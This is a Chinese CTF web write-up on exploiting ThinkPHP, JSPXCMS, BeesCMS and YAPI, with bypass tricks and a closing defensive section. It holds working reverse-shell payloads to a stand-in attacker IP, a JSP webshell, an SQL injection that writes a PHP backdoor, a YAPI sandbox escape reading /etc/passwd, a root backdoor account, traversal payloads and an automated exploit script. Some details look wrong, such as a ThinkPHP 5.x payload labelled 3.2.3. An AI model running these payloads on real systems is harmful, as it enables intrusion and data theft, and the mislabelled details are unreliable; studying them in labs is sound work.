DASCTF 2021 WEB WriteUp:ThinkPHP 3.2.3等4个CMS漏洞利用与3种绕过技巧

DASCTF 2021 WEB WriteUp:ThinkPHP 3.2.3等4个CMS漏洞利用与3种绕过技巧

DASCTF 2021 WEB漏洞实战:从CMS漏洞到高级绕过技术

1. 漏洞环境搭建与基础准备

在开始漏洞复现之前,我们需要搭建一个可控的测试环境。以下是推荐的环境配置方案:

基础环境要求:

  • VMware Workstation 16+ 或 VirtualBox 6.1+
  • Ubuntu 20.04 LTS (推荐) 或 Kali Linux 2021.x
  • Docker CE 20.10+ (用于容器化漏洞环境)
  • Python 3.8+ 环境

工具集安装清单:

# 基础工具 sudo apt update && sudo apt install -y git curl wget vim tmux # 漏洞扫描工具 git clone https://github.com/knownsec/Pocsuite3.git git clone https://github.com/urbanadventurer/WhatWeb # 漏洞利用框架 pip3 install --upgrade pwntools git clone https://github.com/rapid7/metasploit-framework # Web代理工具 wget https://github.com/PortSwigger/burp-suite/releases/download/2021.8.2/burpsuite_community_linux_v2021_8_2.sh chmod +x burpsuite_community_linux_v2021_8_2.sh ./burpsuite_community_linux_v2021_8_2.sh

提示:建议使用虚拟环境管理Python依赖,避免版本冲突:

python3 -m venv ~/venv/ctf source ~/venv/ctf/bin/activate

2. ThinkPHP 3.2.3 RCE漏洞深度分析

2.1 漏洞原理剖析

ThinkPHP 3.2.3的远程代码执行漏洞源于框架对控制器名的过滤不严,攻击者可以通过精心构造的请求注入恶意代码。核心问题出现在Dispatcher.class.php文件中的路由解析逻辑:

// 漏洞触发点伪代码 $controller = isset($_GET['c']) ? $_GET['c'] : 'Index'; $action = isset($_GET['a']) ? $_GET['a'] : 'index'; // 未对$controller进行严格过滤 $controllerClass = $controller.'Controller'; new $controllerClass();

漏洞利用链:

  1. 通过?c=恶意类名注入任意类
  2. 利用PHP的类自动加载机制
  3. 最终导致任意代码执行

2.2 漏洞复现步骤

  1. 启动漏洞环境(使用官方提供的Docker镜像):

    docker run -d -p 8080:80 vulhub/thinkphp:3.2.3
  2. 验证漏洞存在性:

    GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1 Host: target:8080
  3. 完整利用POC(获取反向shell):

    import requests url = "http://target:8080/index.php?s=/index/\\think\\app/invokefunction" params = { 'function': 'call_user_func_array', 'vars[0]': 'system', 'vars[1][]': 'bash -c "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"' } requests.get(url, params=params)

关键参数说明:

参数作用
s/index/\think\app/invokefunction利用命名空间跳转
functioncall_user_func_array调用PHP回调函数
vars[0]system要执行的系统命令
vars[1][]命令内容实际执行的命令参数

3. JSPXCMS文件上传Getshell实战

3.1 漏洞背景分析

JSPXCMS v9.0.0及以下版本存在文件上传漏洞,攻击者可以绕过文件类型检查上传恶意JSP文件。漏洞主要成因在于:

  1. 文件扩展名检查逻辑缺陷
  2. 未对上传内容进行二次校验
  3. 上传路径可预测

3.2 分步利用指南

  1. 信息收集阶段

    # 识别CMS版本 whatweb http://target:8080/jspxcms
  2. 制作恶意文件: 创建shell.jsp文件,内容为:

    <%@ page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while (disr != null) { out.println(disr); disr = dis.readLine(); } %>
  3. 绕过上传限制: 修改HTTP请求头:

    POST /jspxcms/admin/upload.do HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="file"; filename="shell.jpg" Content-Type: image/jpeg <恶意JSP代码> ------WebKitFormBoundaryABC123--
  4. 访问Webshell

    GET /jspxcms/upload/202108/shell.jsp?cmd=whoami HTTP/1.1 Host: target:8080

常见上传绕过技巧对比:

绕过方式适用场景示例
双扩展名简单后缀检查shell.jsp.jpg
大小写混淆大小写敏感检查shell.JsP
空字节截断旧版PHP环境shell.php%00.jpg
Content-Type篡改MIME类型检查image/jpeg
文件头伪造内容检查GIF89a

4. BeesCMS SQL注入写文件技术详解

4.1 漏洞形成原理

BeesCMS的SQL注入漏洞出现在后台管理模块,攻击者可以利用该漏洞实现:

  1. 数据库信息泄露
  2. 文件系统写入
  3. 远程代码执行

核心漏洞代码位于admin/model/admin_model.php

// 危险代码示例 $sql = "SELECT * FROM {pre}admin WHERE username='".$_POST['username']."'"; $result = $this->db->query($sql);

4.2 分步骤利用过程

  1. 检测注入点

    admin' AND 1=1-- admin' AND 1=2--
  2. 利用注入写文件

    admin' UNION SELECT null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e INTO OUTFILE '/var/www/html/shell.php'--

    注意:实际利用时需要根据环境调整路径和权限

  3. 绕过过滤技巧

    • 空格替换为%a0/**/
    • 关键词混淆:UNIunionON SELselectECT
  4. 完整利用链示例

    POST /admin/login.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded username=admin%27%a0UNIunionON%a0SELselectECT%a0null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e%a0INTO%a0OUTOUTFILEFILE%a0%27/var/www/html/shell.php%27--%a0&password=123456

SQL注入写文件关键条件:

条件说明验证方法
FILE权限MySQL用户需有FILE权限SELECT file_priv FROM mysql.user WHERE user = '[username]'
安全设置secure_file_priv为空SHOW VARIABLES LIKE 'secure_file_priv'
路径可写目标路径可写尝试写入无害文件测试

5. YAPI原型链污染漏洞利用

5.1 漏洞背景知识

YAPI v1.9.2及以下版本存在原型链污染漏洞(CVE-2020-7699),攻击者可以通过精心构造的JSON数据污染对象原型,最终导致远程代码执行。

原型链污染原理:

// 漏洞代码示例 function merge(target, source) { for (let attr in source) { target[attr] = source[attr]; } } // 恶意输入 let malicious = JSON.parse('{"__proto__":{"polluted":"yes"}}'); merge({}, malicious); // 现在所有对象都会继承polluted属性

5.2 漏洞复现步骤

  1. 环境搭建

    docker run -d -p 3000:3000 yapi:1.9.2
  2. 检测漏洞

    const sandbox = this; const ObjectConstructor = this.constructor; const FunctionConstructor = ObjectConstructor.constructor; const myfun = FunctionConstructor('return process'); const process = myfun(); mockJson = process.mainModule.require("child_process").execSync("id").toString();
  3. 完整利用POC

    POST /api/interface/save HTTP/1.1 Content-Type: application/json { "query_path": { "path": "/test", "params": [] }, "req_body_other": "const sandbox = this;const ObjectConstructor = this.constructor;const FunctionConstructor = ObjectConstructor.constructor;const myfun = FunctionConstructor('return process');const process = myfun();mockJson = process.mainModule.require(\"child_process\").execSync(\"cat /etc/passwd\").toString();" }

原型链污染防御方案对比:

防御方式实现方法优点缺点
属性过滤检查__proto__等关键字简单直接可能被绕过
使用Object.create(null)创建无原型对象彻底防御需要代码改造
深度冻结对象Object.freeze()完全防护性能影响
安全合并函数检查hasOwnProperty平衡方案实现复杂

6. 高级绕过技术精讲

6.1 escapeshellarg绕过技术

典型漏洞场景:

$file = escapeshellarg($_GET['file']); system("cat /var/log/nginx/$file");

绕过方法:

  1. 利用编码转换问题(UTF-8到ASCII)
    GET /?file=access.log%80 HTTP/1.1
  2. 结合escapeshellcmd的缺陷
    GET /?file='access.log' HTTP/1.1

防御方案:

  • 避免连续使用escapeshellarg和escapeshellcmd
  • 使用白名单验证输入
  • 考虑使用PHP的filter_var过滤

6.2 空格绕过技术

常见绕过方式:

替代字符URL编码适用场景
Tab%09大多数情况
不间断空格%a0特殊场景
/**/%2f%2a%2a%2fSQL注入
${IFS}%24%7b%49%46%53%7dBash环境

6.3 目录穿越防护绕过

常见技巧:

  1. 双重编码绕过
    GET /?file=..%252f..%252fetc%252fpasswd HTTP/1.1
  2. 绝对路径绕过
    GET /?file=/var/www/html/../../../etc/passwd HTTP/1.1
  3. 特殊字符截断
    GET /?file=../../../etc/passwd%00 HTTP/1.1

防御建议:

  • 使用basename()处理文件名
  • 实时解析路径后检查是否在允许目录
  • 禁用危险字符(../, ~等)

7. 防御加固方案

7.1 CMS通用防护措施

  1. ThinkPHP安全配置

    // 关闭调试模式 'APP_DEBUG' => false, // 开启路由过滤 'URL_ROUTER_ON' => true, // 设置默认过滤函数 'DEFAULT_FILTER' => 'htmlspecialchars',
  2. JSPXCMS文件上传加固

    // 修改UploadUtils.java public static boolean isAllowedExtension(String filename) { String[] allowed = {"jpg", "png", "gif"}; String ext = getExtension(filename).toLowerCase(); return Arrays.asList(allowed).contains(ext); }
  3. BeesCMS SQL注入防护

    // 使用预处理语句 $stmt = $db->prepare("SELECT * FROM {pre}admin WHERE username=?"); $stmt->execute([$_POST['username']]);

7.2 Web服务器加固建议

Nginx安全配置示例:

# 禁止访问敏感目录 location ~* ^/(\.git|config|backup|admin) { deny all; } # 限制上传文件类型 location ~* \.(php|jsp|asp)$ { deny all; } # 关闭目录列表 autoindex off;

Apache安全配置示例:

# 防止目录穿越 <Directory /> AllowOverride None Require all denied </Directory> # 限制危险HTTP方法 <LimitExcept GET POST> Deny from all </LimitExcept>

8. 漏洞挖掘方法论

8.1 黑盒测试流程

  1. 信息收集阶段

    • CMS指纹识别
    • 目录扫描
    • 参数枚举
  2. 漏洞探测阶段

    # 自动化探测示例 def check_vuln(url): tests = [ ("/index.php?s=/index/\\think\\app/invokefunction", "PHP Version"), ("/admin/login.php", "BeesCMS"), ("/jspxcms/admin/upload.do", "JSPXCMS") ] for path, fingerprint in tests: r = requests.get(url + path) if fingerprint in r.text: return True return False
  3. 漏洞验证阶段

    • 使用无害命令验证(如whoami)
    • 检查响应时间差异
    • 分析错误信息

8.2 白盒审计技巧

ThinkPHP常见危险函数:

函数风险安全用法
eval()代码执行避免使用
system()命令执行使用escapeshellarg
unserialize()反序列化使用json_decode
extract()变量覆盖明确指定EXTR_SKIP

Java CMS审计要点:

  1. 检查FileUploadServlet实现
  2. 查找executeQuery()直接拼接SQL
  3. 验证反序列化操作是否安全

9. 实战案例:从漏洞发现到利用

9.1 ThinkPHP 3.2.3完整攻击链

  1. 信息收集

    curl -I http://target/index.php | grep "ThinkPHP"
  2. 漏洞验证

    GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1
  3. 获取Webshell

    import requests url = "http://target/index.php?s=/index/\\think\\app/invokefunction" params = { 'function': 'file_put_contents', 'vars[0]': 'shell.php', 'vars[1][]': '<?php system($_GET["cmd"]);?>' } requests.get(url, params=params)
  4. 权限维持

    # 添加后门账户 echo "backdoor:\$1\$salt\$N9X3I3F5VZMORJ5WZ5WQO0:0:0:/root:/bin/bash" >> /etc/passwd

9.2 自动化漏洞利用脚本

#!/usr/bin/env python3 import requests import sys import urllib.parse def exploit(target, lhost, lport): # ThinkPHP RCE print("[+] Testing ThinkPHP RCE...") try: r = requests.get( f"{target}/index.php?s=/index/\\think\\app/invokefunction", params={ 'function': 'call_user_func_array', 'vars[0]': 'system', 'vars[1][]': f'bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"' }, timeout=10 ) if r.status_code == 200: print("[+] ThinkPHP RCE exploited successfully!") return True except: pass # JSPXCMS File Upload print("[+] Testing JSPXCMS File Upload...") try: files = {'file': ('shell.jsp', '<%@ page import="java.util.*,java.io.*"%><% Runtime.getRuntime().exec(request.getParameter("cmd")); %>')} r = requests.post(f"{target}/jspxcms/admin/upload.do", files=files) if r.status_code == 200 and 'filepath' in r.text: shell_path = r.json()['filepath'] print(f"[+] Webshell uploaded to: {target}{shell_path}") return True except: pass return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target> <lhost> <lport>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])

10. 防御体系构建

10.1 分层防御策略

网络层防护:

  • 使用WAF拦截常见攻击模式
  • 配置IPS规则阻断漏洞利用
  • 限制异常请求频率

主机层防护:

# Linux系统加固 chmod -R 750 /var/www/html chown -R www-data:www-data /var/www/html find /var/www/html -type f -name "*.php" -exec chmod 640 {} \;

应用层防护:

  1. 输入验证
    $filename = basename($_GET['file']); if (!preg_match('/^[a-z0-9_\-\.]+$/i', $filename)) { die('Invalid filename'); }
  2. 输出编码
    echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

10.2 安全监控方案

日志分析规则示例:

# 监控可疑请求 grep -E '(\.\./|eval\(|system\(|passthru\()' /var/log/nginx/access.log # 检测Webshell find /var/www/html -type f -name "*.php" -exec grep -l "eval(" {} \;

入侵检测指标:

指标危险等级响应措施
连续失败登录临时封禁IP
可疑文件上传立即隔离检查
系统命令执行严重阻断连接并报警
异常进程创建严重终止进程并取证